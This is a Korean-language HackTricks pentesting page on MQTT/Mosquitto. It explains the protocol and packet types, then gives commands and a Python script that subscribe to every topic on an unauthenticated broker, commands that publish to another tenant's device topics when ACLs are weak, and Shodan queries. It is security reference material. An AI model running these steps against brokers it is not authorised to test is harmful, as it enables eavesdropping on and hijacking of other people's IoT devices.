1883 - Pentesting MQTT (Mosquitto)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

**MQ Telemetry Transport (MQTT)**๋Š” ๊ทน๋„๋กœ ๋‹จ์ˆœํ•˜๊ณ  ๊ฒฝ๋Ÿ‰ํ™”๋œ ๊ฒŒ์‹œ/๊ตฌ๋… ๋ฉ”์‹œ์ง€ ํ”„๋กœํ† ์ฝœ๋กœ, ๊ธฐ๋Šฅ์ด ์ œํ•œ๋œ ์žฅ์น˜๋“ค์ด ๋‚ฎ์€ ๋Œ€์—ญํญ, ๋†’์€ ์ง€์—ฐ, ๋˜๋Š” ๋ถˆ์•ˆ์ •ํ•œ ์—ฐ๊ฒฐ์„ ๊ฐ€์ง„ ๋„คํŠธ์›Œํฌ์—์„œ ๋™์ž‘ํ•˜๋„๋ก ํŠน๋ณ„ํžˆ ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. MQTT์˜ ํ•ต์‹ฌ ๋ชฉ์ ์€ ๋„คํŠธ์›Œํฌ ๋Œ€์—ญํญ ์‚ฌ์šฉ์„ ์ตœ์†Œํ™”ํ•˜๊ณ  ์žฅ์น˜ ๋ฆฌ์†Œ์Šค ์š”๊ตฌ๋ฅผ ์ค„์ด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ์‹ ๋ขฐ์„ฑ ์žˆ๋Š” ํ†ต์‹ ์„ ์œ ์ง€ํ•˜๊ณ  ์ผ์ • ์ˆ˜์ค€์˜ ์ „๋‹ฌ ๋ณด์žฅ์„ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ชฉํ‘œ๋กœ ์ธํ•ด MQTT๋Š” ์ˆ˜๋งŽ์€ ์žฅ์น˜๋ฅผ ํšจ์œจ์ ์œผ๋กœ ์—ฐ๊ฒฐํ•ด์•ผ ํ•˜๋Š” ๊ธฐ๊ณ„ ๊ฐ„ ํ†ต์‹  (M2M) ๋ฐ ์‚ฌ๋ฌผ ์ธํ„ฐ๋„ท (IoT) ๋ถ„์•ผ์— ํŠนํžˆ ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ๋Œ€์—ญํญ๊ณผ ๋ฐฐํ„ฐ๋ฆฌ ์ˆ˜๋ช…์„ ์ ˆ์•ฝํ•ด์•ผ ํ•˜๋Š” ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋„ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

ํŠธ๋ž˜ํ”ฝ ๊ฒ€์‚ฌ

CONNECT ํŒจํ‚ท์ด MQTT ๋ธŒ๋กœ์ปค์— ๋„์ฐฉํ•˜๋ฉด, CONNACK ํŒจํ‚ท์ด ์‘๋‹ต์œผ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ์ด ํŒจํ‚ท์—๋Š” ์—ฐ๊ฒฐ ์ƒํƒœ๋ฅผ ํŒŒ์•…ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•œ ๋ฐ˜ํ™˜ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. 0x00์˜ ๋ฐ˜ํ™˜ ์ฝ”๋“œ๋Š” ์ž๊ฒฉ ์ฆ๋ช…์ด ์ˆ˜๋ฝ๋˜์–ด ์—ฐ๊ฒฐ์ด ์„ฑ๊ณตํ–ˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด 0x05์˜ ๋ฐ˜ํ™˜ ์ฝ”๋“œ๋Š” ์ž๊ฒฉ ์ฆ๋ช…์ด ์œ ํšจํ•˜์ง€ ์•Š์•„ ์—ฐ๊ฒฐ์ด ์ฐจ๋‹จ๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ๋ธŒ๋กœ์ปค๊ฐ€ ์ž๊ฒฉ ์ฆ๋ช…์ด ์œ ํšจํ•˜์ง€ ์•Š์•„ ์—ฐ๊ฒฐ์„ ๊ฑฐ๋ถ€ํ•˜๋Š” ๊ฒฝ์šฐ, ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค:

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication is totally optional โ€” ์ธ์ฆ์€ ์™„์ „ํžˆ ์„ ํƒ์‚ฌํ•ญ์ด๋ฉฐ, ์ธ์ฆ์ด ์ ์šฉ๋˜๋”๋ผ๋„ encryption is not used by default (credentials are sent in clear text). MITM ๊ณต๊ฒฉ์€ ์—ฌ์ „ํžˆ ์‹คํ–‰๋˜์–ด passwords๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

To connect to a MQTT service you can use: https://github.com/bapowell/python-mqtt-client-shell and subscribe yourself to all the topics doing:

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

๋‹ค์Œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/akamai-threat-research/mqtt-pwn

๋‹ค์Œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

๋˜๋Š” ์ธ์ฆ ์—†์ด MQTT ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•ด ๋ชจ๋“  ํ† ํ”ฝ์„ ๊ตฌ๋…ํ•˜๊ณ  ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜์‹ ํ•˜๋Š” ์ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

๋ฐœํ–‰/๊ตฌ๋… ํŒจํ„ด

๋ฐœํ–‰/๊ตฌ๋… ๋ชจ๋ธ์€ ๋‹ค์Œ์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค:

  • ๋ฐœํ–‰์ž: ๋ธŒ๋กœ์ปค์˜ ํ•˜๋‚˜(๋˜๋Š” ์—ฌ๋Ÿฌ) ํ† ํ”ฝ์— ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐœํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ตฌ๋…์ž: ๋ธŒ๋กœ์ปค์˜ ํ•˜๋‚˜(๋˜๋Š” ์—ฌ๋Ÿฌ) ํ† ํ”ฝ์„ ๊ตฌ๋…ํ•˜๊ณ  ๋ฐœํ–‰์ž๊ฐ€ ๋ณด๋‚ธ ๋ชจ๋“  ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค.
  • ๋ธŒ๋กœ์ปค: ๋ฐœํ–‰์ž๋กœ๋ถ€ํ„ฐ ๊ตฌ๋…์ž์—๊ฒŒ ๋ชจ๋“  ๋ฉ”์‹œ์ง€๋ฅผ ๋ผ์šฐํŒ…ํ•ฉ๋‹ˆ๋‹ค.
  • ํ† ํ”ฝ: ํ•˜๋‚˜ ์ด์ƒ์˜ ๋ ˆ๋ฒจ๋กœ ๊ตฌ์„ฑ๋˜๋ฉฐ ๊ฐ ๋ ˆ๋ฒจ์€ ์Šฌ๋ž˜์‹œ๋กœ ๊ตฌ๋ถ„๋ฉ๋‹ˆ๋‹ค (์˜ˆ: /smartshouse/livingroom/temperature).

ํŒจํ‚ท ํ˜•์‹

๋ชจ๋“  MQTT ํŒจํ‚ท์€ ๊ณ ์ • ํ—ค๋”๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค(๊ทธ๋ฆผ 02).๊ทธ๋ฆผ 02: ๊ณ ์ • ํ—ค๋”

https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png

ํŒจํ‚ท ์œ ํ˜•

  • CONNECT (1): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„œ๋ฒ„์— ์—ฐ๊ฒฐ์„ ์š”์ฒญํ•  ๋•Œ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.
  • CONNACK (2): ์„œ๋ฒ„๊ฐ€ ์—ฐ๊ฒฐ ์„ฑ๊ณต์„ ํ™•์ธํ•˜๋Š” ์‘๋‹ต์ž…๋‹ˆ๋‹ค.
  • PUBLISH (3): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„œ๋ฒ„๋กœ ๋˜๋Š” ์„œ๋ฒ„๊ฐ€ ํด๋ผ์ด์–ธํŠธ๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ผ ๋•Œ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • PUBACK (4): PUBLISH ํŒจํ‚ท์— ๋Œ€ํ•œ ํ™•์ธ ์‘๋‹ต์ž…๋‹ˆ๋‹ค.
  • PUBREC (5): ๋ฉ”์‹œ์ง€ ์ „๋‹ฌ ํ”„๋กœํ† ์ฝœ์˜ ์ผ๋ถ€๋กœ, ๋ฉ”์‹œ์ง€๊ฐ€ ์ˆ˜์‹ ๋˜์—ˆ์Œ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.
  • PUBREL (6): ๋ฉ”์‹œ์ง€ ์ „๋‹ฌ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ๋ณด์žฅ์œผ๋กœ, ๋ฉ”์‹œ์ง€ ๋ฆด๋ฆฌ์Šค๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.
  • PUBCOMP (7): ๋ฉ”์‹œ์ง€ ์ „๋‹ฌ ํ”„๋กœํ† ์ฝœ์˜ ์ตœ์ข… ๋‹จ๊ณ„๋กœ, ์™„๋ฃŒ๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.
  • SUBSCRIBE (8): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ํŠน์ • ํ† ํ”ฝ์˜ ๋ฉ”์‹œ์ง€๋ฅผ ๋“ฃ๊ธฐ ์œ„ํ•ด ์š”์ฒญํ•  ๋•Œ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • SUBACK (9): SUBSCRIBE ์š”์ฒญ์— ๋Œ€ํ•œ ์„œ๋ฒ„์˜ ํ™•์ธ ์‘๋‹ต์ž…๋‹ˆ๋‹ค.
  • UNSUBSCRIBE (10): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ํŠน์ • ํ† ํ”ฝ์˜ ๋ฉ”์‹œ์ง€ ์ˆ˜์‹ ์„ ์ค‘์ง€ํ•˜๋„๋ก ์š”์ฒญํ•  ๋•Œ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • UNSUBACK (11): UNSUBSCRIBE ์š”์ฒญ์— ๋Œ€ํ•œ ์„œ๋ฒ„์˜ ์‘๋‹ต์ž…๋‹ˆ๋‹ค.
  • PINGREQ (12): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋ณด๋‚ด๋Š” ํ•˜ํŠธ๋น„ํŠธ ๋ฉ”์‹œ์ง€์ž…๋‹ˆ๋‹ค.
  • PINGRESP (13): ํ•˜ํŠธ๋น„ํŠธ ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•œ ์„œ๋ฒ„์˜ ์‘๋‹ต์ž…๋‹ˆ๋‹ค.
  • DISCONNECT (14): ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์—ฐ๊ฒฐ์„ ์ข…๋ฃŒํ•˜๊ธฐ ์œ„ํ•ด ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฐ’ 0๊ณผ 15๋Š” ์˜ˆ์•ฝ(reserved)์œผ๋กœ ํ‘œ์‹œ๋˜์–ด ์žˆ์œผ๋ฉฐ ์‚ฌ์šฉ์ด ๊ธˆ์ง€๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

IoT MQTT ์ƒํƒœ๊ณ„ ๊ณต๊ฒฉ: ํ‰๋ฌธ ๋ธŒ๋กœ์ปค ๋ฐ ํ† ํ”ฝ ACL ์šฐํšŒ

๋งŽ์€ ์†Œ๋น„์ž์šฉ IoT ํ”Œ๋žซํผ์€ ๋‘ ๊ฐ€์ง€ ์—ญํ• ์—์„œ ์‚ฌ์šฉ๋˜๋Š” MQTT ๋ธŒ๋กœ์ปค๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค:

  • ๊ฒŒ์ดํŠธ์›จ์ด/ํ—ˆ๋ธŒ ์žฅ์น˜: ๋ฌด์„  ํ”„๋กœํ† ์ฝœ(e.g., BLE/LoRa/Zigbee)์„ ํด๋ผ์šฐ๋“œ๋กœ ๋ธŒ๋ฆฌ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • ๋ชจ๋ฐ”์ผ ์•ฑ ๋˜๋Š” ์›น ๋ฐฑ์—”๋“œ: โ€œappโ€ ํ† ํ”ฝ์„ ํ†ตํ•ด ์žฅ์น˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.

pentest ๋™์•ˆ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ผ๋ฐ˜์ ์ธ ์•ฝ์ :

  • Plaintext MQTT๋ฅผ ํ‘œ์ค€์ด ์•„๋‹Œ ํฌํŠธ(e.g., TCP/8001)๋กœ ์ œ๊ณตํ•˜๊ณ  MQTTS๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ. ๊ฒฝ๋กœ์ƒ ๊ด€์ฐฐ์ž๋Š” ์ž๊ฒฉ์ฆ๋ช…๊ณผ ์ œ์–ด ํ”„๋ ˆ์ž„์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Wireshark๋ฅผ ์‚ฌ์šฉํ•ด ํŠน์ดํ•œ ํฌํŠธ์—์„œ ํ‰๋ฌธ CONNECT/CONNACK ๋ฐ SUBSCRIBE/PUBLISH ํŠธ๋ž˜ํ”ฝ์„ ์ฐพ์•„๋ณด์„ธ์š”.
  • ํ…Œ๋„ŒํŠธ๋ณ„ ํ† ํ”ฝ ACL์ด ์•ฝํ•˜๊ฑฐ๋‚˜ ๋ˆ„๋ฝ๋œ ๊ฒฝ์šฐ. ํ† ํ”ฝ์ด deviceId๋กœ๋งŒ ๋„ค์ž„์ŠคํŽ˜์ด์Šคํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด (e.g., โ€œ/tenantless//txโ€), ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ ํ…Œ๋„ŒํŠธ์˜ ์žฅ์น˜์— PUBLISHํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์œ ์ง€๋ณด์ˆ˜/๊ด€๋ฆฌ์ž ํ† ํ”ฝ์„ ํ†ตํ•œ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ ์œ ์ถœ (e.g., ์„ค์ • ๋ณ€๊ฒฝ ํ›„ ํ‰๋ฌธ์œผ๋กœ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ๋˜๋Š” Wiโ€‘Fi ์ž๊ฒฉ์ฆ๋ช…).

์˜ˆ์‹œ (ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋ฅผ ์‹ค์ œ ๊ฐ’์œผ๋กœ ๋ฐ”๊ฟ” ์‚ฌ์šฉ):

Subscribe to potentially sensitive topics with known topic prefixes and device IDs:

# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

ACLs๊ฐ€ ์•ฝํ•  ๋•Œ์˜ ํ…Œ๋„ŒํŠธ ๊ฐ„ ์ œ์–ด (๋‹ค๋ฅธ ํ…Œ๋„ŒํŠธ์˜ device topic์œผ๋กœ publish):

mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

  • port:1883 MQTT
  • ๋น„ํ‘œ์ค€ ํฌํŠธ์—์„œ์˜ MQTT ํ‰๋ฌธ ํ†ต์‹ ์€ IoT์—์„œ ํ”ํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์ฒด ํฌํŠธ์—์„œ ๋ธŒ๋กœ์ปค๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ณ  ํ”„๋กœํ† ์ฝœ ํƒ์ง€๋กœ ํ™•์ธํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ